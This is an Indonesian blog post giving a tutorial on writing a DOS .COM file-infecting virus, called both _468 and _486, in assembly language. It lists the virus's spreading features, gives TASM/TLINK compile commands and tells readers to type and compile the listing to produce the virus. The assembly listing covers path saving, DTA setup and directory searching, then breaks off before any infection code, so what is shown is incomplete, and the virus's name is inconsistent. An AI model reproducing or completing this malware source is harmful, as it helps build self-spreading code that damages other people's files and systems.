Membuat Viruss 486

Membuat Viruss 486

Menjadi korban virus mungkin adalah hal yang menyedihkan. Bahasan seputar virus adalah bahasan yang asyik untuk disimak, telah beberapa kali bahasan virus diangkat di artikel ini. ’Ade The Teroris’ memberikan cara membuat virus dengan menggunakan Assembly Language, yaitu bahasa pemrograman yang populer.



KITA PARA PENGGUNA KOMPUTER YANG SUDAH AHLI
atau professional maupun para pemula dan semua penguna komputer tentu sudah tidak asing lagi
dengan istilah virus komputer, atau anda telah menjadi korbannya.
Bagaimana perasaan anda pada waktu anda menjadi korban keganasan virus komputer? Yang saya tahu pasti anda kesal, marah, frustasi dan mengutuk para pembuat virus
Tapi tidak semuanya begitu, ada sekelompok orang yang senang bila komputernya terkena virus atau mereka sengaja memasukkan virus kekomputer mereka, apalagi virus itu jenis baru dan yang pasti lebih berbahaya. Dan mereka nantinya akan meneliti virus tersebut lalu dikembangkan untuk dijadikan virus yang lebih berbahaya.
Tapi bagaimana dengan perasaan pembuat virus itu?
Apakah senang, bangga atau biasa saja?
Di dalam artikel ini anda akan saya ajak untuk ikut merasakan dalam membuat virus komputer, buku ini ditulis
hanya untuk pembelajaran atau hanya untuk pendidikan semata, dan semuanya saya kembalikan kepada sikap kedewasaan anda.

Di artikel ini anda akan diajari cara-cara membuat virus komputer dengan bahasa pemrograman tingkat dasar atau bahasa mesin yaitu bahasa pemrograman assembler atau assembling, yang banyak digunakan oleh para pembuat virus, dikarena ukuran file yang dihasilkan (dibuku ini adalah virus) lebih kecil dibanding dengan bahasa pemrograman lainnya tanpa mengurangi kemampuannya
yang dashyat.
Dan listing virus yang akan saya berikan pada pertemuan ini adalah listing virus _468.
Listing virus ini di kembangkan dari virus ALT-11 Mag dan diberi nama _468, apa artinya nama itu, yang pasti lebih ganas dan bagus, maunya sih.

Keterangan Virus _468
  • ? Tidak menginfeksi command.com
  • ? Pertambahan file .com: xxx byte
  • ? Dapat mencari direktori untuk file yang belum pernah terinfeksi, bila tidak ada akan mencari direktori sebelumnya, sampai file terinfeksi
  • ? Tidak akan melakukan lagi bila (melakukan penginfeksian) file yang sudah terinfeksi (setiap berjalan menginfeksi satu)
  • ? Akan mengembalikan atribut asli dari file yang diinfeksinya dan mengembalikan alur aslinya (original path)
  • ? File yang memiliki atribut atau bendera read only (hanya membaca) tetap dapat diinfeksi
Cara mengkompile

tasm /m2 .asm
tlink /t .obj
Listing virus _468
Ketikan listing virus ini dengan pelan-pelan dan teliti lalu
simpan dengan nama _486.Asm atau nama yang lain
yang penting harus berekstensi Asm (*.Asm), dan
compile-lah sesuai cara diatas sehingga dapat membentuk
suatu program (virus).

.model tiny
.code
org 100h ; melakukan penyesuaian untuk psp
start:
call get_disp ; masukkan ip
get_disp:
pop bp
sub bp, offset get_disp ; bp = penggantian ; kode
; label offset asli disimpan
;di dalam kode mesin
save_path:
mov ah, 47h ; simpan cwd
xor dl, dl ; 0 = default drive
lea si, [bp + org_path]
int 21h
get_dta:
mov ah, 2fh
int 21h
mov [bp + old_dta_off], bx ; simpan dta offset tua
set_dta: ; merekam dta
mov ah, 1ah
lea dx, [bp + dta_filler]
int 21h
search:
mov ah, 4eh ; temukan file pertama
mov cx, [bp + search_attrib] ; jika dta sukses
diciptakan
lea dx, [bp + search_mask]
int 21h
jnc clear_attrib ;jika ditemukan, melanjutkan
find_next:
mov ah, 4fh ; ke file berikutnya
int 21h
jnc clear_attrib
still_searching:
mov ah, 3bh
lea dx, [bp + previous_dir] ; cd ..
int 21h




-- RED EYES --

0 komentar:

Blog Archive